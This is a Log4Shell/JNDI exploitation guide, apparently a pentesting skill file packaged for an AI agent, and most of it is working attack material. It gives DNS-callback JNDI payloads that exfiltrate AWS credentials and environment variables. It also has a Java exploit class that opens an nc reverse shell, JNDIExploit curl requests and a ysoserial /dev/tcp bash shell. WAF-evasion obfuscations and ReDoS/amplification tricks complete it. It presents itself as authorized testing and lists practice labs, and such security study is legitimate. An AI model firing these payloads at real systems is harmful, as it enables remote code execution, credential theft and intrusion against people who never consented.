Hacktricks-skills log4shell-jndi-exploitation

How to discover, verify, and exploit JNDI/Log4Shell vulnerabilities in Java applications. Use this skill whenever the user mentions Log4j, JNDI, LDAP injection, CVE-2021-44228, Java deserialization, or needs to test for remote code execution through logging libraries. Make sure to use this skill for any Java application security testing involving logging frameworks, especially when HTTP headers, user input, or configuration files might be logged.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell/SKILL.MD
source content

Log4Shell & JNDI Exploitation

A comprehensive guide for discovering and exploiting JNDI injection and Log4Shell vulnerabilities in Java applications.

⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written permission to test.

When to Use This Skill

Use this skill when:

  • Testing Java applications for Log4j vulnerabilities
  • Investigating CVE-2021-44228, CVE-2021-45046, or related CVEs
  • Analyzing JNDI injection possibilities
  • Needing to verify if user input is being logged by vulnerable libraries
  • Working with LDAP, RMI, or CORBA-based Java applications
  • Preparing for penetration testing engagements involving Java stacks

Quick Reference

PhaseCommand/ToolPurpose
DiscoveryDNS callback payloadsDetect vulnerability
VerificationEnvironment variable exfiltrationConfirm exploitability
Exploitationmarshalsec, JNDIExploitAchieve RCE
BypassObfuscation techniquesEvade WAFs

Phase 1: Discovery

DNS Callback Detection

The most reliable initial detection method. Vulnerable applications will send DNS requests to addresses in your payload.

Recommended callback services:

# CanaryTokens
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}

# Interactsh (recommended)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}

# Burp Collaborator
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}

# DNSLog.cn
${jndi:ldap://2j4ayo.dnslog.cn}

# Huntress
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}

Important: Receiving a DNS callback confirms the application processes the payload, but doesn't guarantee full exploitability. You must attempt exploitation.

Local Vulnerability Scanning

Find vulnerable log4j-core versions on local systems:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j-core-(1.[^0]|2.[0-9][^0-9]|2.1[0-6])"

Vulnerable versions:

  • Log4j 2.0-beta9 to 2.14.1 (CVE-2021-44228)
  • Log4j 2.15.0 (incomplete fix, CVE-2021-45046)
  • Log4j 1.x with JMSAppender (CVE-2021-4104)

Phase 2: Verification

Environment Variable Exfiltration

Confirm vulnerability and extract information using DNS callbacks with embedded variables:

# Basic verification with Java version
${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}

# AWS credentials (if present)
${env:AWS_ACCESS_KEY_ID}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}

# System information
${env:HOSTNAME}
${env:USER}
${env:PATH}
${sys:java.class.path}
${sys:user.home}
${sys:user.name}

Common Variables to Test

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Phase 3: Exploitation

Understanding JDK Version Impact

JDK VersionLDAP Codebase LoadingDeserialization Attack
< 6u141, 7u131, 8u121✅ Possible✅ Possible
≥ 6u141, 7u131, 8u121❌ Blocked (trustURLCodebase=false)✅ Still Possible

Key insight: Higher JDK versions block remote codebase loading via LDAP but remain vulnerable to deserialization attacks using trusted gadgets.

Method 1: Marshalsec with Custom Payload

Setup LDAP referral server:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip>:8000/#Exploit"

Create exploit class:

// Exploit.java
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile and serve:

javac Exploit.java -source 8 -target 8
python3 -m http.server 8000

Trigger exploitation:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Method 2: JNDIExploit

Start the exploit server:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888

Available exploits:

# List all available exploits
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

# Create file on target
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]

# Reverse shell (Unix)
ldap://null:1389/Basic/ReverseShell/[ip]/[port]

# DNS log verification
ldap://null:1389/Basic/Dnslog/[domain]

Example attacks:

# Create file
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Reverse shell
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'

# Alternative reverse shell
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Method 3: JNDI-Exploit-Kit

Generate exploit URLs:

# Reverse shell on port 4444
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Method 4: ysoserial + JNDI-Exploit-Kit (For Trusted Gadgets)

Best for: Java versions configured to only trust specified classes.

Generate deserialization payload:

# Reverse shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Serve the payload:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Exploit:

${jndi:ldap://10.10.14.10:1389/generated}

Phase 4: Bypasses

WAF Evasion Techniques

# Environment variable obfuscation
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}

# Lowercase function
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}

# Mixed case
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}

# Character slicing
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}

# Alternative environment variable
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}

# Mixed functions
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}

# RMI protocol
${${::-j}ndi:rmi://attackerendpoint.com/}

# DNS protocol
${${::-j}ndi:dns://attackerendpoint.com/}

# Unicode trick (Turkish i)
${${lower:jnd}${lower:${upper:ı}}:ldap://...}

Localhost Bypass (For Log4j 2.15)

${jndi:ldap://127.0.0.1#attacker.com/a}

Phase 5: Post-Log4Shell Exploitation

Understanding Version Changes

VersionMessage LookupsJNDI DefaultRecursive Lookups
2.16.0+❌ Removed❌ Disabled✅ In config only
2.17.0+❌ Removed❌ Disabled✅ Top-level only

Exception-Based Exfiltration

Trigger exceptions to exfiltrate data:

# Basic exception exfiltration
${java:${env:FLAG}}

# This triggers an exception because ${java:CTF{blahblah}} doesn't exist
# The exception message contains the flag value

Binary Search via Regex

Use %replace with regex to test flag values:

# Trigger exception if regex matches
%replace{${env:FLAG}}{^CTF.*}{${error}}

# Time-based ReDoS
%replace{${env:FLAG}}{^(?=CTF)((.`)*salt$}{asd}

Amplification Attack

Cause timeout through massive string replacement:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

If the flag matches

flagGuess
, this creates 96+ billion characters, triggering a timeout.


Automated Scanners

ToolPurpose
log4j-scanNetwork scanning
Log4j-RCE-ScannerRCE verification
burp-log4shellBurp extension
log4j-scannerCIS scanner
local-log4j-vuln-scannerLocal detection
log4j-snifferLocal library detection

Practice Labs

LabPlatformDifficulty
LogForgeHackTheBoxMedium
Solar RoomTryHackMeEasy
log4jpwnGitHubEasy
log4shell-vulnerable-appGitHubEasy

Related CVEs

CVESeverityDescription
CVE-2021-44228CriticalUntrusted deserialization, RCE
CVE-2021-45046CriticalDoS via incomplete fix
CVE-2021-4104HighLog4j 1.x JMSAppender
CVE-2021-42550ModerateLogback vulnerability
CVE-2021-45105HighDoS in 2.16.0
CVE-2021-44832HighJDBCAppender RCE

Scripts

Use the bundled scripts for common tasks:

  • scripts/scan_local_log4j.sh
    - Find vulnerable log4j versions locally
  • scripts/generate_log4shell_payloads.py
    - Generate various payload types
  • scripts/setup_dns_callback.sh
    - Setup DNS callback monitoring

References